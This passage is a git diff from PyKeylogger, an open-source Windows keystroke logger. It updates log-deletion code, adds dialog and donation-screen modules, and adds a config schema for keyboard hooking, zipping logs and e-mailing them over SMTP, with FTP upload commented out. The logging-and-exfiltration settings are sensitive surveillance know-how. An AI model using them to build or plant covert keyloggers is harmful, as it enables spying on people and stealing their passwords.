- for root, dirs, files in os.walk(self.settings['dirname']):
+ for root, dirs, files in os.walk(self.settings['General']['Log Directory']):
for fname in files:
- if time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['maxlogage'])*24*60*60:
+ if lastmodcutoff == None:
+ testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60
+ elif type(lastmodcutoff) == float:
+ testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
+
+ if fname == "emaillog.txt" or fname == "ziplog.txt":
+ testvalue = False # we don't want to delete these
+
+ if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
+ testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage
+
+ if testvalue:
try:
os.remove(os.path.join(root,fname))
except:
@@ -421,13 +466,13 @@ class LogWriter:
'''
self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
self.flushtimer.cancel()
- if self.settings['smtpsendemail'] == 'True':
+ if self.settings['E-mail']['SMTP Send Email'] == True:
self.emailtimer.cancel()
- if self.settings['deleteoldlogs'] == 'True':
+ if self.settings['Log Maintenance']['Delete Old Logs'] == True:
self.oldlogtimer.cancel()
- if self.settings['timestampenable'] == 'True':
+ if self.settings['Timestamp']['Timestamp Enable'] == True:
self.timestamptimer.cancel()
- if self.settings['zipenable'] == 'True':
+ if self.settings['Zip']['Zip Enable'] == True:
self.ziptimer.cancel()
if __name__ == '__main__':
diff --git a/mytkSimpleDialog.py b/mytkSimpleDialog.py
new file mode 100644
index 0000000..0151fec
--- /dev/null
+++ b/mytkSimpleDialog.py
@@ -0,0 +1,319 @@
+#
+# An Introduction to Tkinter
+# tkSimpleDialog.py
+#
+# Copyright (c) 1997 by Fredrik Lundh
+#
+# fredrik@pythonware.com
+# http://www.pythonware.com
+#
+
+# --------------------------------------------------------------------
+# dialog base class
+#
+# this file is modified by Nanotube (nanotube@users.sf.net)
+# in order to allow for the change in the placement of the dialog
+# relative to the parent (master) window.
+
+'''Dialog boxes
+
+This module handles dialog boxes. It contains the following
+public symbols:
+
+Dialog -- a base class for dialogs
+
+askinteger -- get an integer from the user
+
+askfloat -- get a float from the user
+
+askstring -- get a string from the user
+'''
+
+from Tkinter import *
+import os
+
+class Dialog(Toplevel):
+
+ '''Class to open dialogs.
+
+ This class is intended as a base class for custom dialogs
+ '''
+
+ def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
+
+ '''Initialize a dialog.
+
+ Arguments:
+
+ parent -- a parent window (the application window)
+
+ title -- the dialog title
+ '''
+ Toplevel.__init__(self, parent)
+ self.transient(parent)
+
+ if title:
+ self.title(title)
+
+ self.parent = parent
+
+ self.result = None
+
+ body = Frame(self)
+ self.initial_focus = self.body(body)
+ body.pack(padx=5, pady=5)
+
+ self.buttonbox()
+
+ self.wait_visibility() # window needs to be visible for the grab
+ self.grab_set()
+
+ if not self.initial_focus:
+ self.initial_focus = self
+
+ self.protocol("WM_DELETE_WINDOW", self.cancel)
+
+ if self.parent is not None:
+ self.geometry("+%d+%d" % (parent.winfo_rootx()+rootx_offset,
+ parent.winfo_rooty()+rooty_offset))
+
+ self.initial_focus.focus_set()
+
+ self.wait_window(self)
+
+ def destroy(self):
+ '''Destroy the window'''
+ self.initial_focus = None
+ Toplevel.destroy(self)
+
+ #
+ # construction hooks
+
+ def body(self, master):
+ '''create dialog body.
+
+ return widget that should have initial focus.
+ This method should be overridden, and is called
+ by the __init__ method.
+ '''
+ pass
+
+ def buttonbox(self):
+ '''add standard button box.
+
+ override if you do not want the standard buttons
+ '''
+
+ box = Frame(self)
+
+ w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE)
+ w.pack(side=LEFT, padx=5, pady=5)
+ w = Button(box, text="Cancel", width=10, command=self.cancel)
+ w.pack(side=LEFT, padx=5, pady=5)
+
+ self.bind("<Return>", self.ok)
+ self.bind("<Escape>", self.cancel)
+
+ box.pack()
+
+ #
+ # standard button semantics
+
+ def ok(self, event=None):
+
+ if not self.validate():
+ self.initial_focus.focus_set() # put focus back
+ return
+
+ self.withdraw()
+ self.update_idletasks()
+
+ self.apply()
+
+ self.cancel()
+
+ def cancel(self, event=None):
+
+ # put focus back to the parent window
+ if self.parent is not None:
+ self.parent.focus_set()
+ self.destroy()
+
+ #
+ # command hooks
+
+ def validate(self):
+ '''validate the data
+
+ This method is called automatically to validate the data before the
+ dialog is destroyed. By default, it always validates OK.
+ '''
+
+ return 1 # override
+
+ def apply(self):
+ '''process the data
+
+ This method is called automatically to process the data, *after*
+ the dialog is destroyed. By default, it does nothing.
+ '''
+
+ pass # override
+
+
+# --------------------------------------------------------------------
+# convenience dialogues
+
+class _QueryDialog(Dialog):
+
+ def __init__(self, title, prompt,
+ initialvalue=None,
+ minvalue = None, maxvalue = None,
+ parent = None, rootx_offset=50, rooty_offset=50):
+
+ if not parent:
+ import Tkinter
+ parent = Tkinter._default_root
+
+ self.prompt = prompt
+ self.minvalue = minvalue
+ self.maxvalue = maxvalue
+
+ self.initialvalue = initialvalue
+
+ Dialog.__init__(self, parent, title, rootx_offset, rooty_offset)
+
+ def destroy(self):
+ self.entry = None
+ Dialog.destroy(self)
+
+ def body(self, master):
+
+ w = Label(master, text=self.prompt, justify=LEFT)
+ w.grid(row=0, padx=5, sticky=W)
+
+ self.entry = Entry(master, name="entry")
+ self.entry.grid(row=1, padx=5, sticky=W+E)
+
+ if self.initialvalue:
+ self.entry.insert(0, self.initialvalue)
+ self.entry.select_range(0, END)
+
+ return self.entry
+
+ def validate(self):
+
+ import tkMessageBox
+
+ try:
+ result = self.getresult()
+ except ValueError:
+ tkMessageBox.showwarning(
+ "Illegal value",
+ self.errormessage + "\nPlease try again",
+ parent = self
+ )
+ return 0
+
+ if self.minvalue is not None and result < self.minvalue:
+ tkMessageBox.showwarning(
+ "Too small",
+ "The allowed minimum value is %s. "
+ "Please try again." % self.minvalue,
+ parent = self
+ )
+ return 0
+
+ if self.maxvalue is not None and result > self.maxvalue:
+ tkMessageBox.showwarning(
+ "Too large",
+ "The allowed maximum value is %s. "
+ "Please try again." % self.maxvalue,
+ parent = self
+ )
+ return 0
+
+ self.result = result
+
+ return 1
+
+
+class _QueryInteger(_QueryDialog):
+ errormessage = "Not an integer."
+ def getresult(self):
+ return int(self.entry.get())
+
+def askinteger(title, prompt, **kw):
+ '''get an integer from the user
+
+ Arguments:
+
+ title -- the dialog title
+ prompt -- the label text
+ **kw -- see SimpleDialog class
+
+ Return value is an integer
+ '''
+ d = _QueryInteger(title, prompt, **kw)
+ return d.result
+
+class _QueryFloat(_QueryDialog):
+ errormessage = "Not a floating point value."
+ def getresult(self):
+ return float(self.entry.get())
+
+def askfloat(title, prompt, **kw):
+ '''get a float from the user
+
+ Arguments:
+
+ title -- the dialog title
+ prompt -- the label text
+ **kw -- see SimpleDialog class
+
+ Return value is a float
+ '''
+ d = _QueryFloat(title, prompt, **kw)
+ return d.result
+
+class _QueryString(_QueryDialog):
+ def __init__(self, *args, **kw):
+ if kw.has_key("show"):
+ self.__show = kw["show"]
+ del kw["show"]
+ else:
+ self.__show = None
+ _QueryDialog.__init__(self, *args, **kw)
+
+ def body(self, master):
+ entry = _QueryDialog.body(self, master)
+ if self.__show is not None:
+ entry.configure(show=self.__show)
+ return entry
+
+ def getresult(self):
+ return self.entry.get()
+
+def askstring(title, prompt, **kw):
+ '''get a string from the user
+
+ Arguments:
+
+ title -- the dialog title
+ prompt -- the label text
+ **kw -- see SimpleDialog class
+
+ Return value is a string
+ '''
+ d = _QueryString(title, prompt, **kw)
+ return d.result
+
+if __name__ == "__main__":
+
+ root = Tk()
+ root.geometry("+200+200")
+ root.update()
+
+ print askinteger("Spam", "Egg count", initialvalue=12*12)
+ print askfloat("Spam", "Egg weight\n(in tons)", minvalue=1, maxvalue=100)
+ print askstring("Spam", "Egg label", rootx_offset=-30, rooty_offset=-30)
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 68e5904..0b4ca06 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
new file mode 100644
index 0000000..08d646b
--- /dev/null
+++ b/pykeylogger.val
@@ -0,0 +1,165 @@
+# This is a config validation file. Do not change anything in here.
+
+[General]
+
+# default: "" (Blank password)
+Master Password Tooltip = string()
+Master Password = string(default="")
+
+# default: C:\Temp\logdir
+Log Directory Tooltip = string()
+Log Directory = string(max=64, default="C:\Temp\logdir")
+
+# default: True
+Hook Keyboard Tooltip = string()
+Hook Keyboard = boolean(default=True)
+
+# default: False
+Add Line Feed Tooltip = string()
+Add Line Feed = boolean(default=False)
+
+# default: False
+Parse Backspace Tooltip = string()
+Parse Backspace = boolean(default=False)
+
+# default: False
+Parse Escape Tooltip = string()
+Parse Escape = boolean(default=False)
+
+# default: F12
+Control Key Tooltip = string()
+Control Key = string(default="F12")
+
+# default: None
+Applications Not Logged Tooltip = string()
+Applications Not Logged = string(default=None)
+
+# default: None
+One File Tooltip = string()
+One File = string(default=None)
+
+# default: 120
+Flush Interval Tooltip = string()
+Flush Interval = float(min=10, default=120.0)
+
+# default: None
+System Log Tooltip = string()
+System Log = string(default=None)
+
+[E-mail]
+
+# default: False
+SMTP Send Email Tooltip = string()
+SMTP Send Email = boolean(default=False)
+
+# default: True
+SMTP Needs Login Tooltip = string()
+SMTP Needs Login = boolean(default=True)
+
+# default: yourusername
+SMTP Username Tooltip = string()
+SMTP Username = string(default="yourusername")
+
+# default: "" (Blank password)
+SMTP Password Tooltip = string()
+SMTP Password = string(default="")
+
+# default: your.smtp.server
+SMTP Server Tooltip = string()
+SMTP Server = string(default="your.smtp.server")
+
+# default: yourfromaddress@host.com
+SMTP From Tooltip = string()
+SMTP From = string(default="yourfromaddress@host.com")
+
+# default: yourtoaddress@host.com
+SMTP To Tooltip = string()
+SMTP To = string(default="yourtoaddress@host.com")
+
+# default: Automatic Logfile Email
+SMTP Subject Tooltip = string()
+SMTP Subject = string(default="Automatic Logfile Email")
+
+# default: "Please see attached zipfile."
+SMTP Message Body Tooltip = string()
+SMTP Message Body = string(default="Please see attached zipfile.")
+
+# default: 4.0
+Email Interval Tooltip = string()
+Email Interval = float(min=0.016, default=4.0)
+
+[Zip]
+
+##### disabled. filename set to log_[date].zip
+# Specify the filename for the zip archive that will be emailed to you
+# default: logzip.zip
+#zipArchiveNameTooltip=Specify the filename for the zip archive that will be emailed to you. "[date]" will be replaced with current date/time in MMDDYYYY_HHMMSS format. If "[date]" is not present, it will be added at the end of the filename, as it is needed for proper operation.
+#zipArchiveName=log_[date].zip
+
+# default: False
+Zip Enable Tooltip = string()
+Zip Enable = boolean(default=False)
+
+# default: 4.0
+Zip Interval Tooltip = string(default="Set this to the time interval between automatic zip events, in HOURS.")
+Zip Interval = float(min=0.016, default=4.0)
+
+#~ [FTP]
+
+#~ # default: False
+#~ FTP Enable Tooltip = string(default="Set to True to enable automatic periodic uploading of a zipped archive of logfiles by FTP.")
+#~ FTP Enable = boolean(default=False)
+
+#~ # default: your.FTP.server
+#~ FTP Server Tooltip = string(default="Set to the hostname of your FTP server.")
+#~ FTP Server = string(default="your.FTP.server")
+
+#~ # default: 21
+#~ FTP Port Tooltip = string(default="Set to the port number of your FTP server (most FTP servers run on port 21).")
+#~ FTP Port = integer(min=1, max=65534, default=21)
+
+#~ # default: pykeylogger
+#~ FTP Upload Directory Tooltip = string(default="Set to the directory on the server where you would like to upload (relative or full path accepted).")
+#~ FTP Upload Directory = string(default="pykeylogger")
+
+#~ # default: anonymous
+#~ FTP Username Tooltip = string(default="Set to your username on the target FTP server.")
+#~ FTP Username = string(default="anonymous")
+
+#~ # For security purposes, this value can only be set through the control panel, to avoid storing your password in plain text.
+#~ # Setting it here directly will not work.
+#~ # default: anonymous@
+#~ FTP Password Tooltip = string(default="Set to your password on the target FTP server.")
+#~ FTP Password = string(default="anonymous@")
+
+#~ # default: True
+#~ FTP Passive Tooltip = string(default="Set to True to enable passive mode file transfer (recommended).")
+#~ FTP Passive = boolean(default=True)
+
+#~ # default: 4.0
+#~ FTP Interval Tooltip = string(default="Set this to the time interval between automatic FTP events, in HOURS.")
+#~ FTP Interval = float(min=0.016, default=4.0)
+
+[Log Maintenance]
+
+# default: False
+Delete Old Logs Tooltip = string(default="Set to True to enable automatic deletion of old logs.")
+Delete Old Logs = boolean(default=False)
+
+# default: 2.0
+Max Log Age Tooltip = string(default="Set to the maximum age of the logs that you want to keep, in days. Logs older than this will be deleted.")
+Max Log Age = float(min=0.00069, default=2.0)
+
+# default: 2.0
+Age Check Interval Tooltip = string(default="Set to the frequency of checking for and deleting logs older than maxLogAge, in HOURS.")
+Age Check Interval = float(min=0.016, default=2.0)
+
+[Timestamp]
+
+# default: True
+Timestamp Enable Tooltip = string(default="Set this to True to enable periodic timestamps in the logfiles.")
+Timestamp Enable = boolean(default=True)
+
+# default: 30.0
+Timestamp Interval Tooltip = string(default="Set this to time interval between the timestamps, in MINUTES.")
+Timestamp Interval = float(min=0.016, default=30.0)
\ No newline at end of file
diff --git a/setup.py b/setup.py
index f6741f3..c2500c3 100644
--- a/setup.py
+++ b/setup.py
@@ -20,7 +20,15 @@ setup(
description = version.description,
url = version.url,
license = version.license,
+ author = version.author,
+ author_email = version.author_email,
+ data_files = [("",["pykeylogger.ini",
+ "pykeylogger.val",
+ "CHANGELOG.TXT",
+ "LICENSE.txt",
+ "README.txt",
+ "TODO.txt"])],
# targets to build
console = [
{
diff --git a/supportscreen.py b/supportscreen.py
new file mode 100644
index 0000000..0798946
--- /dev/null
+++ b/supportscreen.py
@@ -0,0 +1,64 @@
+from Tkinter import *
+import webbrowser
+import mytkSimpleDialog
+
+class SupportScreen(mytkSimpleDialog.Dialog):
+ def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
+ mytkSimpleDialog.Dialog.__init__(self, parent, title, rootx_offset, rooty_offset)
+
+ def body(self, master):
+ self.t = Text(master)
+ self.t.pack()
+ self.t.tag_configure("href", foreground='blue', underline=1)
+ self.t.tag_bind("href", "<Button-1>", self.openHREF)
+ self.t.tag_bind("href", "<Enter>", self.show_hand_cursor)
+ self.t.tag_bind("href", "<Leave>", self.show_arrow_cursor)
+ self.t.config(cursor="arrow", bg="SystemButtonFace", wrap=WORD)
+ self.t.insert(END, "Welcome to PyKeylogger, a versatile backup and system monitoring solution. \n\n\
+PyKeylogger is Free Open Source Software, licensed under the Gnu General Public License. \
+As such, the python source code for this software is freely available for download at ")
+ self.t.insert(END, "http://sourceforge.net/projects/pykeylogger", "href")
+ self.t.insert(END, "\n\nYou are strongly encouraged to donate to this open source project. \
+So strongly, in fact, that you are being presented with this nag screen :). There are three ways \
+to get rid of this startup screen: \n\n 1. Donate to PyKeylogger by following the instructions at ")
+ self.t.insert(END, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Download_Instructions", "href")
+ self.t.insert(END, " and you will get a binary build of PyKeylogger without the nag screen, \
+by E-mail, HTTP, FTP, or even a CD mailed by USPS (in the USA only).")
+ self.t.insert(END, "\n\n 2. Get the source code and run PyKeylogger from source, by following the instructions at ")
+ self.t.insert(END, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Installation_Instructions", "href")
+ self.t.insert(END, "\n\n 3. Get the source code, as above, comment out the nag screen, and make your own \
+binary build of PyKeylogger. The executable compilation code is included in the source distribution, and is easy to use.")
+ self.t.config(state=DISABLED)
+
+ def show_hand_cursor(self, event):
+ self.t.config(cursor="hand2")
+
+ def show_arrow_cursor(self, event):
+ self.t.config(cursor="arrow")
+
+ def buttonbox(self):
+ # add standard button box. override if you don't want the
+ # standard buttons
+
+ box = Frame(self)
+
+ #w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE)
+ #w.pack(side=LEFT, padx=5, pady=5)
+ w = Button(box, text="Continue", width=10, command=self.cancel, default=ACTIVE)
+ w.pack(side=LEFT, padx=5, pady=5)
+
+ self.bind("<Return>", self.cancel)
+ self.bind("<Escape>", self.cancel)
+
+ box.pack()
+
+ def openHREF(self, event):
+ start, end = self.t.tag_prevrange("href", self.t.index("@%s,%s" % (event.x, event.y)))
+ #print "Going to %s..." % t.get(start, end)
+ webbrowser.open(self.t.get(start, end))
+
+if __name__ == '__main__':
+ root=Tk()
+ root.geometry("100x100+200+200")
+ warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
+ root.quit()
\ No newline at end of file
diff --git a/version.py b/version.py
index 46972e3..9116465 100644
--- a/version.py
+++ b/version.py
@@ -1,6 +1,9 @@
-name = "Python Keylogger"
-version = "0.7.0"
+name = "Python Keylogger for Windows"
+version = "0.8.0"
description = "Simple Python Keylogger for Windows"
url = "http://pykeylogger.sourceforge.net"
license = "GPL"
+author = "Nanotube"
+author_email = "nanotube@users.sf.net"
+platforms = ["Windows NT/2000/XP"]
\ No newline at end of file